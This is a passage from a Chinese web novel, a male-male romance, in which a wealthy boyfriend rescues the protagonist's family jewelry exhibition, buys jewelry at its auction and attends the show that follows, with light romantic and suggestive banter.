奚时专心做个小废物,不想懂虚与委蛇那一套,于是就在门口帮忙迎客。 这活也不轻松,跟吉祥物似的,脸都快笑僵了。 又一对宾客到场,还是熟人,是林可越的父母,奚时礼貌招呼:“林叔、云姨。” “是小时啊,”林父笑呵呵道,“好久不见,都差点认不出来了。” 奚时笑了笑,说:“可越哥没来么?” “他啊,他” “他约会去了,”林夫人打断他的话,冲奚时不尴不尬地笑了笑说,“前几天我们给他介绍了个女孩子,他们挺合得来,今天约着去看电影了,所以没来。” “原来是这样啊。”奚时也只是随口一问,做了个请的姿势说,“您两位进去吧,我哥在1楼的展厅。” 林父还想说点什么,被林母拉走了。 “可越什么时候有对象了,我怎么不知道?”走开几步后,林父不悦地问。 林夫人听到林父这话,心虚地回头看了眼,见奚时从兜里掏手机,不像听见了的样子,才恨铁不成钢地小声说:“你难道看不出来,奚时和邵家的婚约掰了,现在在找下家。” 林父对奚时印象不错,说:“那不挺好的,小时那孩子,长得好,学历又高,和我们家可越不是挺般配?” “呵,现在奚家都烂成什么样子了,奚朝现在是把局势稳住了,但也改变不了奚家败落的事实,我可不想让可越去扶贫。” 林夫人知道奚夫人一直想把奚玥介绍给她儿子,以前她还觉得这婚事不错,她跟奚夫人又是小姐妹变亲家,皆大欢喜。 但发生了那事情之后,她心态就变了。 一来奚家衰败了,二来现在奚家名声很烂,人都是往高处走的,所以她今天才千方百计阻止林可越来,免得被这兄妹缠上。 尽管林可越才回燕京不久,又是从事律师行业,现在正需要参加这种大型盛会露面扩展人脉的时候,但奚家能请来什么人,她心里明镜似的,没几个人值得他结交的。 不需要,完全不需要。 奚时其实刚刚听到了林父那句话,先是有点愣,随即又有点释然地笑了。 当初奚朝还想撮合他跟林可越,一厢情愿地觉得两家家世相当,天作之合,其实人家也看不上他呢。 不过他也不在意,拿出手机后,给霍景沉发消息。 你咋不上天:滴滴滴!查岗! 你咋不上天:怎么还没到,是不是被哪个小妖精绊住了? 景沉:[图片] 景沉:碰上车祸堵车了,在想办法绕路。 奚时点开图片看了眼,见只是远远地拍了一张,应该没波及霍景沉,放了心。 你咋不上天:那要注意安全呐霍总,不然我变成小寡夫就要被你儿子继承了。 景沉:少看点短剧。 前几天奚小时刷到一个小短剧,大概就是父亲刚把小后爸娶进门就暴毙,儿子继承小后爸,貌似还在父亲灵前强占的剧情,总之挺离谱的。 但奚小时看得津津有味,让霍总感觉背后凉飕飕的。 奚时一边和霍景沉闲扯,一边又接待了几位嘉宾,这时他哥走过来,小声问:“霍景沉还没到?” “他碰到车祸了,在绕路。”奚时解释说。 奚朝看了眼表,说:“让他快点,等下拍卖会都要开始了。” “好,应该快了,他刚跟我发消息说前面路况都是绿的了。” “行,宾客基本都到了,你也不用在这里站着了,去里面休息室休息一会吧。” 奚时想说没事,这时,一对中年男女从会场走出来,这里是展馆的大门,离开这里就是要离场了,奚朝示意奚时先别说话,走上前去,问:“王总、王夫人,两位这是” “哼,奚董,我们是看在你父亲的面子上来参加这展会,你倒好,不好好钻营,搞投机取巧骗人的手段。” 王总说完,一甩袖,说了声“晦气”,就离开了。 奚朝不明所以,皱着眉,正要找负责人来问怎么回事,又出来一个人,这个人连奚时都认识,是一位当红明星,奚家准备请他做代言的。 照理说,明星在他们这种豪门面前,不值一提,但这位名气估计是太高了,见到奚朝这位董事长,居然翻了个白眼,戴上墨镜,高抬着下巴走了。 奚时和奚朝面面相觑。 陆续又有人出来,有合作的国际知名设计师,老总,以及富太太、千金,要么是面有怒容、要么是冷漠、要么是嘲弄,就是傻子也知道不对劲了。 奚朝拿出手机打电话,刚把电话拨出去,他要找的人已经气喘吁吁地跑出来了。 “奚董,不好了奚董。” 奚朝把他拉到一边,冷着脸问:“到底发生了什么?” “你看这个。” 负责人把手机打开给他看,奚时也凑过去,就看到是一张微博的截图,五分钟前,霍思远的女朋友田苒发布了在瑞士滑雪的微博。 霍思远和田苒的婚约早不是秘密,所以这条微博里,霍思远也有出境。 下面有粉丝问:宝宝现在在瑞士度假吗?要注意保暖哦。 田苒回她:对啊,好哦。 负责人抹着额头上的汗,说:“您也知道,大家都以为您这次把霍思远请来了,结果他人在瑞士,大家就觉得受到了欺骗,就,就” 奚时汗颜,虽然但是,这些人也太现实了吧。 奚朝的脸色很难看,奚时赶紧说:“别急哥,你们先把人稳住,我让他赶紧来。” “稳个屁,”奚朝冷笑,“等下他们别求着我放他们进来就行。” 奚时:“” 不愧是他哥。 负责人原本也以为奚朝是靠骗的方式把大家骗来,看到田苒这条微博,已经汗流浃背替奚朝尴尬地毛病都犯了,现在听他们兄弟二人的对话,好像又真有大人物来的样子,又稍稍放了心,请示道:“那现在” “不用管他们,他们爱走就走,继续去准备拍卖的事宜。”奚朝说。 “好的,好的。”负责人一连声说。 这时,奚时握在手上的手机震了一下,奚时看了眼,看到是霍景沉跟他说到了,说:“哥,他到啦,那我去接他。” 奚朝神色稍微缓和了一点:“去吧。” 奚时立刻跑到外面,见到霍景沉刚从车上下来,跑过去,霍景沉见奚时身上穿着一身高定西装,打着领结,好看矜贵,不吝夸赞道:“你今天很好看。” “嘿嘿,你也很帅,快进去吧哥,这里冷。” 他们身上都只是西装衬衣,外面都0度了,站一会儿就瑟瑟发抖的程度,赶紧快步往会场走。 “我来得这么晚么?”霍景沉见陆续有人离开,忍不住有点怀疑,甚至拿起手机看了一眼。 才下午四点不到,按照邀请函上的时间安排,拍卖会都还没开始。 霍景沉由于从不参与任何形式的交际场合,这些人看到他,都只是对他的外表面露惊艳,没一个人认出他来。 “嗐,没事,有的人赶着去投胎。”奚时说。 二人走进大门,暖气扑面而来,这时又有一个中年男人打算离开,看到霍景沉,目光呆滞了一下,似乎不敢相信自己的眼睛,犹豫又不掩恭敬地问:“您是霍家主?” 霍景沉冲他微微一点头:“张总。” 张总听到他居然还记得自己,脸上出现了受宠若惊的神色,这时目光又看到了奚时挽着他手臂,下巴差点掉在地上。 但很快他脸上就堆上笑,正要和霍景沉攀谈,奚时故意拉了一下霍景沉,给他让路说:“张总不是要离开吗,请吧。” 张总:“” “不是,我,我”张总不愧是能被霍景沉记住脸的男人,飞速想出了借口,“我就觉得里面有点闷,想到外面透透气,哈哈,哈哈哈。” 笑完,他发现对上了两脸冷漠。 张总恨不得给看到消息就沉不住气想走的自己扇一巴掌,只能赔笑说:“霍家主,您请,您请。” 霍景沉带着奚时继续往里走,张总厚着脸皮跟着,他也算是有头有脸的人物,一些打算走的人见他又掉头回来,还一脸谄媚笑容地跟一个面生的男人说话,不明所以,又都感觉到了这男人身份的不简单,一时间有点犹豫要不要走了。 不认识,但很厉害的样子。 这时,展会的主人奚朝见到他们走进展厅,脸上露出一个欣喜的笑容,走过来,用周围人都能听到的声音说:“霍家主,你终于来了,欢迎欢迎。” 奚朝说着冲霍景沉伸出手。 霍景沉:“” 看惯了大舅哥的冷脸,给好脸色的大舅哥都看不惯了。 不过他也感觉到了这展会的不对劲之处,照理说这会儿宾客应该在各个展会看展出的珠宝才对,怎么人流都聚到门口这里来了。 而且他进来时扫过一眼众人,神色也不对,不像是来参看展和交际的,看样子像发现自己进了骗子窝点的。 结合拍卖会都还没开始,就离开的那些人,霍景沉好像明白了什么。 大舅哥,好大一个人情啊。 怎么也要用弟弟的清白来还吧。 他伸出手,与奚朝的握了握,说:“阁下就是小时的哥哥吧?” “是我,小弟顽皮,以后要霍家主多包容了。” 霍景沉宠溺地摸了一下奚时的头,说:“奚董多虑了,小时很好。” 奚时拼命忍着,才没让自己笑场。 好虚伪啊这两个男人,表面一本正经的,其实都是捏着鼻子在跟对方客套吧。 特别是他哥,奚时怀疑他心里已经把霍景沉揍成猪头了。 他赶紧说:“哥,你去忙吧,我带他去转转,不用管我们。” 奚朝心说草他大爷的终于结束了,表面微笑:“去吧。” 他们寒暄结束,奚时拉着霍景沉往展柜走,周围的人才和活过来一样,从震惊中反应过来,他们甚至怀疑自己听错了,刚刚奚朝叫这个男人什么来着。 霍家主? 不是他们想的那个霍家主吧?! 今天来的许多大人物中,并不乏一些见过霍景沉的,在大家的不可思议中,确认了霍景沉的身份,就是他们想的那个霍家主。 神秘、从不参加任何形式交际宴会的燕京首富霍景沉。 震惊已经不足以形容众人此时的心境了,他们有的人甚至忍不住伸手掐自己的大腿,看看是不是在做梦。 贼他妈痛,不是梦。 那他和奚时,岂不是,岂不是 众人倒吸一口冷气,又一次怀疑自己是在做梦的程度。 有的人还在震惊,有反应快的,已经走上前去和霍景沉搭讪了,尽管霍景沉表现得并不平易近人,但或许他难得出现一次,错过了就没机会了。 所以没一会儿,霍景沉就被人里三层外三层地地围住。 这种消息,向来传得非常快,不一会儿,最先走那些人也听到消息了,听到来的不是霍思远,居然是霍景沉,离谱程度,简直怀疑是奚朝为了骗他们回去在不择手段的瞎编。 可就算真瞎编,奚朝也没那个胆子编到霍景沉头上啊。 由于太离谱,所以大概率,是真的。 第一个走的王总和王夫人车子都已经开出去了,收到了还在场内的朋友发来的照片,王总是见过霍景沉一面的,看到照片后,赶紧招呼司机把车子开回去。 重新回到会场门口,王总和王夫人看到门口有不少人,这里没有暖气,门口的人冻得瑟瑟发抖。 之前在他们身后出来那个当红明星一边抖,一边拿出自己的手机给门口拦他的人看邀请函。 “看到没,我是有邀请函的,凭什么不让我进去?” 门口原本只有两个侍者这会儿居然多了好几个保安拦着,侍者礼貌地说:“抱歉先生,您的邀请函已经刷过失效了,我们奚董说今天场子小,容不下诸位贵客,请回吧。” 众人:“” 那明星的经纪人赶紧说:“我们家阿松是你们品牌正在洽谈的代言人啊,不是属于特邀嘉宾吗,为什么进出还要凭邀请函?” 侍者看了眼那个男明星,问:“你是何松?” “知道我是谁还不放我进去!”何松不耐烦,正要往里走,又被侍者拦下。 “抱歉何松先生,我们奚董特地吩咐了,您的白眼翻得太丑了,影响我们品牌形象,请您从哪里来,圆润地回哪里去,不送。” 何松:“” —— 奚时知道霍景沉出现肯定会引来各方的搭讪,但没想到会这么夸张,简直是寸步难行的程度,他赶紧找了个带霍景沉去休息的借口,挤开人群,拉着他进了事先准备好的休息室。 进门后,奚时赶紧锁上门,背靠着门松出好大一口气说:“我的妈呀,不知道的还以为丧尸围城了。” “刚发生了什么事?”霍景沉这才有空问奚时。 奚时把刚刚田苒发微博的事情给他说了一下,对比刚刚他们围着霍景沉时那副嘴脸,奚时还是很膈应,说:“一群势利眼,真恶心,要不是你出现及时,这会儿说不定都跑光了。” 霍景沉倒并没有什么反应,当初他回霍家夺权时,谁也不看好他能上位,嘴脸比这些人真实恶心多了。 看奚时气呼呼的样子,他忍不住笑了下,说:“一群看人下菜碟的,你以后也不用跟他们接触,没必要跟他们置气。” “哼,要不是怕我哥丢脸,谁管他们。” 奚时说到这里,也笑了,说:“不过我一想到他们以后都要对我哥客客气气,小心翼翼的,心里又爽了,不错啊霍总,你的光真好用。” 霍景沉说:“能被奚时殿下借光,是我的荣幸。” 奚时初次尝到男朋友身份带来的荣光,美滋滋,心想难怪这么多人挤破头嫁豪门,真是一步登天啊。 两个人在休息室呆了一会,奚时看了眼手机,说:“拍卖会要开始了,我们去二楼吧。” 可能是奚朝早预料到了霍景沉到来后,会被人众星拱月似的围着,这个休息室有一个专门通向二楼的楼梯,上去之后直通拍卖会现场,进现场后,霍景沉和奚时又被侍者带上了复式二楼的雅座,没再给那些人围堵的机会。 雅座的桌子上有此次拍卖珠宝的册子,奚时拿起来看了眼,发现都是他们家联合国际知名设计师设计的珍珠类珠宝,或者和国际知名高档品牌联合设计的珠宝,总之看介绍都价值不菲。 霍景沉凑过来跟他一起看,问:“喜欢哪个?” “你要给我拍啊?”奚时笑着问。 霍景沉说:“不当众砸点钱,怎么表达我对你的喜欢。” 那倒也是,霍景沉今天来不就是为了跟他公开么。 现在不仅仅是公开了,还是在给他哥撑场子,必须豪掷千金,才能表达出他的重视啊。 奚时说:“那就拍压轴的吧,唔,钱我到时候转给你。” 他们这种拍卖会,珠宝最贵也就一千来万,奚时还是拿得出来的。 霍景沉闻言,眯起眼看向奚小时:“给我钱?” “对呀,”奚时振振有词,“你给我哥撑场子已经足够了,不能让你再破费吧,虽然我知道你不缺钱,但反正羊毛出在羊身上,这些钱最终都是落入我们家人口袋的。” 霍景沉:“” 霍景沉被他这歪理给气笑了,行,他要出钱就让他出,先把小金主身上的钱骗不,套光,看他以后还怎么蹦跶。 很快,拍卖会开始了,前面拍卖的都是项链、手链,好像更适合女孩子一点,霍景沉都没出价。 直到拍到了一根脚链。 这脚链是用珍珠、白金、宝石做的,脚链这种东西,并不像手链、项链那么流行,所以尽管它有一个非常响亮的设计师,做工看上去也很精致漂亮,但价格起不来,叫到110万就没人出价了。 主持人见没人再举牌,说:“110万一次,110万两次,110万” 她的三次还没出口,听到二楼雅座那边有个低沉的声音说:“520万。” 众人:“” 要换成别人,大家肯定觉得这出价的是个傻子或者是捣乱的,但大家都知道,霍景沉就坐在那个位置,他们刚刚才听过霍景沉的声音,印象新鲜,一下听出叫价的是霍景沉本人。 首富嘛,做什么都是对的。 而且这个价格,拍给谁的不言而喻。 本来大家还在猜测奚时和霍景沉的关系,到底是真的在一起了,还是只是霍景沉看他好看,玩玩他。 现在看来,就是玩玩也值得啊,看看人家首富多舍得砸钱,多有面子。 他们看不到阁楼上的人,众人都把羡慕的目光投向奚朝,却发现奚朝的脸有点黑。 奚朝作为董事长,进拍卖的每一个宝贝都经他的手亲自确认过,今天这个脚链,它原本有个名字叫“欲”。 欲望的欲。 它的设计师很坦白地把自己的设计理念给奚朝讲过,就是他当初和某个男孩子发生一/夜/情时,觉得那个男孩子的脚踝很漂亮,又色又欲,于是有了灵感,设计出了这个脚链。 本来奚朝是pass掉了这件珠宝的,但因为众所周知的原因,以前和他们家合作的一些设计大师今年都找理由推脱了。 为了凑数,奚朝不得不让这件珠宝上。 当然,奚朝为了让它更高大上,和设计师协商改掉了它的名字和设计理念。 霍景沉这老东西刚刚一直都不举牌,为什么偏偏就拍了这个! 该死!他是不是想对他弟弟的脚做什么变态事情! 第57章 第 57 章 奚朝很气, 要换成别的场合,高低得和霍景沉叫个板,不让他拿下这脚链, 戴在他弟弟脚上。 但现在这场合,他还不能得罪霍景沉, 只能眼睁睁地看着脚链成交。 不一会儿, 奚时他们这个包间的门被敲响, 侍者端着一个托盘进来,托盘上是一个丝绒盒子, 盒子里装着霍景沉拍的那条脚链。 奚时小心地把那脚链拿出来。 脚链是白金的链身, 链子上坠着珍珠流苏, 间或镶嵌着璀璨的宝石,最夺目的是中间最大那颗粉橙色的帕帕拉恰蓝宝石,它被誉为宝石中的莲花仙子,所以这脚链名叫“步步生莲”。 冰清玉洁,步步生莲。 大舅哥估计空窗太久, 不知道某些东西,越是想掩盖它的设计初衷, 越是容易让人欲念横生。 霍景沉把黑卡递给侍者, 当场付了钱,说:“给我,帮你戴上。” 奚时眨眨眼:“难道不是你戴给我看么?” “我的脚应该太粗了,戴不进去, ”霍总疯狂暗示, “要戴在你的脚上才好看。” 奚时说:“我不管, 我要试试。” 说着,他在霍景沉的脚边单膝跪下来, 霍景沉只能伸出右脚,把西装裤脚往上提了提,任奚时给他戴。 奚时把他的袜子往下褪,他从没仔细端详过霍景沉的脚,发现他的脚劲瘦有力,不粗壮,却好像蕴含着蓬勃的力量,确实不适合戴这种小玩意。 要带也要戴个大铁铐啊。 多有性张力! 奚时被自己脑补得色从心起,故意用手摸霍景沉的脚踝,手指往他裤管里面探。 霍景沉被他摸得想条件反射缩回脚,垂下眼眸,对上奚时促狭的眼神,只能放松神经,任奚·色鬼·时在他脚上作乱。 就在二人眼神拉丝,暧昧气氛要扩散到整个包厢时,听到门口传来一声重重的咳嗽,奚时茫然抬头往门口看,看到他哥黑着脸站门口,吓得一哆嗦,立刻缩回自己的手。 “哥”奚时心虚地站起来,干笑,“我,你你怎么来了啊?” 奚朝作为主办方,来霍景沉这个包厢陪这位首富原本就是天经地义。 只是刚刚霍景沉来的时候,透支了大舅哥所有好脾气,奚朝陪笑已经陪得够咬牙切齿了,实在不想受这份窝囊气。 而且霍景沉想和奚时独处,也不见得想要他陪。 所以他没上来。 坏就坏在霍景沉拍那种东西! 奚朝总觉得霍景沉会在无人的小包间对奚时做什么伤风败俗的变态事情,忍不住就上来了。 他到时刚好侍者出去,奚朝示意他们不用关门。 谁知就看见了自己弟弟在做伤风败俗的事情。 看他那单膝跪在霍景沉脚下,犹如臣服的姿态,简直,简直……气死他了!他这弟弟还有没有一点节操了! 奚朝瞪了一眼霍景沉,对奚时说:“你给我出来。” 奚时:QAQ 霍景沉微微皱眉,想说什么,但被奚时阻止了,他们这里虽然是包厢,但动静太大下面也听得到,奚时可不想他们在包厢里掐起来,给了霍景沉一个安抚的眼神,跟着奚朝出去了。 奚朝找到一个没人的休息室,进去之后关上门,转过身看向不敢跟自己对视的奚时,黑着脸问:“刚刚是不是霍景沉逼迫或者诱哄你那样做的?” “不是,”奚时心虚地避开奚朝的目光,说,“我们闹着玩的,哥你别乱猜。” 奚朝恨铁不成钢地看向自己弟弟,这能让他不乱猜么,虽然自家弟弟和霍景沉床上的事情他管不着,但自从他上位后,为了快速建立人际网,几乎每天都有应酬,荤场素场都去过,什么群魔乱舞的场面都见过。 他虽然自己不沾那种东西,但看多了,知道这些老男人变态得很,喜欢年轻漂亮的小男孩或者姑娘放下身段服侍他们。 特别是一些清冷或者高高在上型的小美人,像奚时刚刚那样子臣服在他们脚下,跪舔他们的脚或者其他不可说的部位,简直能让这些老男人征服欲达到顶峰。 越是处于权力巅峰的人,越喜欢这种居高临下的感觉。 甚至有一些极度变态的老男人,喜欢让小美人跪坐在那里,被他们用脚玩弄。 奚朝很怀疑要不是他出现及时,刚刚包厢里那一幕的后续就是这个样子。 大舅哥被自己的脑补气得很想现在就拿把斧头去把霍景沉那老东西砍了。 他咬牙,说:“霍景沉或许没吃过猪肉,但肯定见多了猪跑,心里变态得很,他要是胁迫你陪他玩一些让你受屈辱的花样,也不准答应,就像刚刚那种,听到没有!你们是平等的。” 奚时更心虚了。 “不会的哥,他很尊重我。” 奚时的话奚朝一个标点符号也不信,冷哼一声说:“尊重你会让你跪那里给他玩脚?我不来他说不定就要命令你给他舔/脚了!” “” 奚时没那个狗胆承认是自己主动的,而且他哥也太直白了,奚时不免红了脸,说:“哥,你能不能不要脑补这么变态的东西。” 奚朝:“” 奚朝意识到自己话赶话,在自家纯洁的弟弟面前泄露了不纯洁的思想。 他轻咳一声,说:“总之你记住,或许霍景沉很有钱,身份上很能压人,但你是他对象,你们是平等的,他要是拿身份压你,命令你做一些你不想做或者为难的事情,你都可以拒绝,哥虽然不如他,但就是拼了这条命,也不会让你受委屈的。” 奚时心虚之余,又很感动。 他哥虽然很爱管着他,控制欲强到极点,但其实都是为了他好,生怕他在霍景沉那里受一点委屈。 “放心吧哥,不会的,他真的对我挺好的,从不强迫我干什么。”奚时替霍景沉说话。 “哼,他最好是!” 奚朝能说的都说了,自家弟弟要还不争气的话他也没办法,总不能以后他们上床的时候自己搬个小板凳在旁边看着,要是霍景沉有什么不好的性癖就提刀把他切了。 该死,他们为什么不能柏拉图! 奚时回到包间时,霍景沉看他一进门就赶紧关好包厢门,随即松了口气,一副劫后余生的样子,好气又好笑。 奚小时在他面前作威作福的,在他哥面前就变成了一只乖巧听话的小狗,而且看着对他哥的管教还挺顺从的样子,也不知道这兄弟二人的相处模式是怎么发展成这样的。 他问:“你哥把你叫去说了什么?” 奚时坐下来,端起桌上的饮料喝了一口压压惊,得意地说:“他说你一看就是个需求很强的变态,以后床上只能做两次,多一次就告诉他,他提刀来把你切了。” 霍景沉:“” 正在这时,楼下的拍卖进入到了高潮,今天的压轴珠宝,是一条天然黑珍珠项链。 这项链是由多种色调的黑珍珠组成的,每一个色调的珍珠都珍贵难得,它除了在项链的接口处,有一个璀璨的宝石作为卡扣,并没有其他配饰,朴素,却透着低调的奢华。 说白了就是珍稀罕见。 主持人宣布起拍价是100万,比其他一些珠宝的成交价还贵,但这种可遇不可求还品相绝佳的黑珍珠,还是很多人举牌。 奚时没有什么关系亲近的女性亲人,纠结地问霍景沉:“哥,你有什么女性亲人适合送这个项链吗?” 霍景沉看了眼奚时白皙修长的脖子,说:“倒不用把性别卡得那么死。” 奚时眼睛一亮:“那拍下来给你戴。” 霍景沉:“” 不是,奚小时怎么什么都想让他戴。 有没有一种可能,无论是脚链还是这个黑珍珠项链,戴在他身上,才更好看呢? 下面还在叫价,起初奚时还兴致勃勃,可听到他们都叫到1000万,还在不断往上加价时,脸上的神色开始纠结起来。 霍景沉好整以暇,装作没看到奚小时偷偷打开自己的账户盘点资金,也打开了手机,发了条消息出去。 【别收手,叫到2000以上。】 于是奚小时眼睁睁地看着下面的人,把价格抬到了2250,才没人跟了。 霍景沉私底下安排的人停手,于是价格定个在了2250万上。 主持人对这些珠宝的拍卖价格都有个大概的心理预算,听到霍景沉没下场,就把价格抬得那么高,怀疑自己是低估了这项链的价格。 而且下面这边都停止叫价了,霍景沉也没出手,这都最后一件了,他今天不会就只拍那一条脚链吧,那是不是有点太抠了? 主持人还以为霍景沉会豪掷几千万为奚家撑场子,见他没叫价,难免有点失望,但她事业素养一流,表面完全不动声色,说:“还有哪位女士或者先生要加价吗?2250万一次,2” “2300万。” 就在众人心中都和主持人一样想着“首富就这就这?”时,楼上终于传来了叫价的声音,但令人吃惊的是,这不是霍景沉的声音,而是听着像奚朝那位弟弟奚时的声音。 咦,原来主办方自己人也可以叫价的吗?这确定不是抬价? 不过人家肯定是帮霍景沉叫的啊,这叫情趣懂不懂。 首富做什么都是对的,所以众人都不觉得奚时叫价很突兀,出价2250的人毫不犹豫地跟上:“2400万。” 奚时:“2500万。” “2600万。” 奚时:“” 靠,这些人的钱都是大风刮来的吗? 奚时哪里拿得出这么多钱,只能看向霍景沉,霍景沉刚刚听他豪情万丈要付钱的样子,还以为奚小时多有钱,原来估计加上透支的也就这么多。 他有点好笑,又有点心疼,奚时怎么说也算是富家少爷,他能拿出的这么多钱中,1000万还是邵寻退婚的时候给的,这1500万,估计还有不少水份,他自己能拿出来的,应该也就几百万,说不定还是奚朝还没当家时,背着他叔婶零零散散给的。 可见他在奚家,是真空占了一个二少的身份,他叔叔婶婶并没有对他多大方,哪里像那个奚玥,刚刚他们碰了个面,霍景沉虽然对穿的戴的没研究,但见那奚玥身上珠光宝气的,耳朵上的耳坠他还在某次珠宝拍卖会见过,好像当时成交价是500多万。 可见这位奚小姐待遇之优越,完全不是奚时能比的。 即便这样,奚小时还念念不忘他们的养育之恩,想以终身幸福为代价,去联姻回报他们,他真是 下面又在开始倒数,在奚时期盼的目光下,霍景沉终于开口:“3000万。” 竞价的人:“3100万。” 霍景沉:“4000万。” 竞价的人:“” 那人朝霍景沉方向做了个请的姿势,示意自己放弃了,主持人再次倒数,这次没有人再加价,霍景沉以4000万的价格,拿下这件压轴的珠宝。 这价格,对于这件珠宝来说,已经是一个离谱数字了,但众人看得相当尽兴,都有种不愧是首富下场,真爽的心里感觉。 拍卖会到此结束,宾客陆续离场,准备去下一场的珠宝秀,霍景沉签了字,刷卡付钱,让他们等下走的时候再把珠宝给他,转头见奚小时呆呆愣愣的,手在他面前晃了晃。 “回魂了。” 奚时抱住他的手,先抬头往门口看了一眼,没见到他哥,才在霍景沉的手背上咬了一口,说:“这手太会花钱了,剁掉!” 霍景沉还以为奚时在纠结掏不出这么多钱来给他,还想趁机提点过分的要求,原来是在心疼他的钱啊。 不错,很有管家婆的自觉,以后一定把财产都给老婆管。 他安慰奚时:“不用心疼,肥水不流外人田,都进你哥口袋了。” 奚时:“又不是我的钱,我才不心疼。” 霍景沉没有跟他争谁的钱这种没意义的问题,毕竟行动才是最有力的说服方式。 不过嘴硬的老婆实在太可爱了,霍景沉低头在他嘴角亲了一下,说:“走了,去秀场。” 秀场在三楼,是今天这场展会的重中之重,会展出明年他们公司推出的新品,奚家虽然出了那样子的丑事,但在国际上的品牌知名度一直在提升,推出的新品能不能受到宾客尤其是贵妇和千金的青睐,打开中高端市场,相当重要。 奚时和霍景沉依旧被安排了最好的位置,这次没有单独的隔间,毕竟大家都是有身份有地位的人,不会上面走着秀,他们下面贸然围过来和霍景沉搭讪。 不过他们入座时,秀还没开始,旁边位置的人还是会搭讪的。 也不知道负责人是怎么安排位置的,奚时他们右边坐着的,是林可越的父母。 就在一个多小时前,林夫人还嫌弃奚家没落了,无论是奚时,还是奚玥,都配不上他们家林可越,谁曾想风水轮流转得那么快,现在,她就是后悔,非常后悔。 她今天怎么就鬼迷心窍不让林可越来,不然凭着林可越和奚朝的关系,说不定还会给他引荐牵线认识霍景沉,有了这个人脉,以后做什么不能成功! 她悄悄拧了一下林父的腰,示意他赶紧抓紧机会和霍景沉搭讪。 林父自然知道机会难得,但霍景沉坐下后就在跟他左边的人说话,林父认出那个是刚刚拍卖时加价到3100万那位,是一位外国中年男人,也不知道是何方神圣。 他只能看向低头玩手机的奚时,便先和他搭讪说:“小时,怎么没见到你叔婶过来?” 奚时:“可能是人太多不好意思露面吧。” 林父:“” 不是,这小孩怎么说话的!好歹也是把他养大的叔婶,说话都不会给长辈留点脸面么。 林父爹味都有点犯了,但霍景沉坐旁边,也不敢去教育奚时,一边的林母见丈夫被他一句话堵住了,笑着接话问:“我刚看到小玥也来了,怎么没见她?” “不知道啊,你不是有她微信么,你想见她直接微信上问呗。” 林母:“” 霍景沉虽然和那个外国男人说着话,但还是留了一只耳朵听奚时这边的动静,听他这样不客气地跟这对夫妇说话,有点想笑。 奚小刺猬有靠山的时候,就更加收不住身上那些小刺了。 他明白这对夫妇跟奚时搭讪的最终目的是他,可但凡了解一点奚时,也应该知道跟他搭讪不要以他叔婶或者那个妹妹作为切入点。 他旁边那位外国人顺着他的目光看向奚时,笑着用英语问:“您刚刚豪掷4000万拍的那条项链,是给您这位小爱人的吧,您真舍得。” “是的,”霍景沉也用英语回答,“他值得最好的。” 林夫人没被奚时一句话打倒,反而笑道:“说起小玥,以前阿沅还说等可越回来了,要给他俩牵一下线试试,谁知道她身上发生了那种事情,把这事耽搁了。” 现在林夫人已经不觉得奚时或者奚玥配不上她儿子了,奚时当然没希望了,但奚玥还有希望啊! 如果她儿子和奚玥在一起,他们不也成了霍家的亲戚么! 奚时对林可越印象挺好的,但他这父母实在是可能是大家出发点不同,思想不同吧。 他也微笑:“可越哥不是找到喜欢的女孩子了么,说明有缘无分,云姨不用惋惜。” 林夫人:“” 林夫人被堵得差点心肌梗塞。 她刚刚到底为什么要找那种借口! 林父还想说什么,这时台上想起音乐,走秀要开始了,奚时冲他们礼貌点点头,把头转向霍景沉,不想再跟他们交谈的意味明显。 霍景沉借着音乐的遮盖,小声问奚时:“林可越父母?” 奚时点点头,“嗯”了一声。 霍景沉对于大舅哥把林可越介绍给奚时一直耿耿于怀,这个林夫人还是奚夫人的手帕交,听听他们刚刚说的话没一句中听的,于是毫不犹豫把这对夫妇叉入黑名单。 这时灯光暗下来,接着台上的灯光开始不断闪烁,随着一阵音乐过后,只留下台上的灯光,接着,一个佩戴着珍珠耳环和项链的黑人模特走上台。 走秀开始了。 奚时虽然身在奚家,但对于珠宝没什么了解,外行人完全跟着看个热闹,只觉得这些珠宝戴在这些小姐姐身上,都好漂亮。 特别是黑人小姐姐,跟纯白的珍珠,适配度实在太高了,那些珠宝戴在她们身上都是亮闪闪的,一下就变得非常高级。 然后开始天马行空,请这些模特一定很贵吧,他哥好厉害,今天这展览会办得真好,哥哥好厉害啊,这么大个烂摊子砸下来,他紧急接手,居然还是把这展览会办得盛大热闹。 直到霍景沉捏了一下他的手背。 奚时回神,疑惑地看向霍景沉,用眼神询问他干什么。 “困的话可以靠着我睡一会。”霍景沉在他耳边说。 奚时昨天想着今天要早起帮他哥看场子,都没休息好,这种秀对于他这种没需求的人来说,太催眠了。 但他理不直气很壮地反驳:“我才不困!” 霍景沉刚刚看他眼皮子都要翻过来了,见他还嘴硬,伸手揽他头,把他头往自己肩膀上压,说:“没事,没人会嘲笑你。” 奚时顺着他的力道,靠着男朋友的肩膀,调皮地说:“你有没有听到后面的人倒吸冷气?” 霍景沉本来没注意的,听到奚时这样子问,侧耳听了一下,还真有。 “嘿嘿,他们一定觉得我好大本事,不但把你这神秘的首富拿下了,让你亲自出场给我哥哥撑场子,你还这么宠我,你说我要是开个什么名媛班名少班的,收他们100万一节课,他们会不会挤破头报名?” 霍景沉:“” 他有时候真的很想看看,奚小时这脑子里,到底都装了些什么奇奇怪怪的东西。 霍景沉附在奚时耳朵边说:“你是凭借有自来水的身体拿下我的,开课也没用,他们学不来,还会打12315投诉你。” 奚时:“” 奚时听他又提这个梗,气得伸手拧他。 正在这时,台上的音乐一变,把奚时吓了一跳,还以为是他哥发现了他们打情骂俏杀来了,下意识地抬头往台上看去,结果就看到一个男模特走出来。 这个男模特穿着一条皮裤,包裹着他无处安放的大长腿,当然这不是重点。 重点是模特身上宽松的棉质衬衫领口的扣子有四个没扣,V字一直开到了腹肌处,露出脖子上的珍珠项链,项链一共缠了三圈,尾端坠着一颗祖母绿翡翠,走起来一晃一晃的,闪瞎了奚小时的眼。 当然是被翡翠闪瞎的,还是被那漂亮的胸肌和若隐若现的腹肌闪瞎的,就不好说了。 反正刚刚还昏昏欲睡的奚时一下从霍景沉的肩膀上抬起头,目光灼灼地看向台上。 霍景沉:“” 不是,为什么珠宝秀,还会有男模特? 事实证明就是有,还不止一个。 第二个男模特,是一个金发碧眼的外国小哥。 他更是夸张,身上几乎没几块布料,像一个落入凡间的男精灵,身上遮挡着关键部位的,只有各种宝物,引人无限遐想。 最引人瞩目的,是他一双漂亮的足上,缠着色欲十足的脚链,把奚小时的眼睛都勾直了。 霍景沉:“???” 歪,110吗,他举报这里有人搞黄色,勾引他老婆。 第58章 第 58 章 接着第三个、第四个……一共有10个男模特, 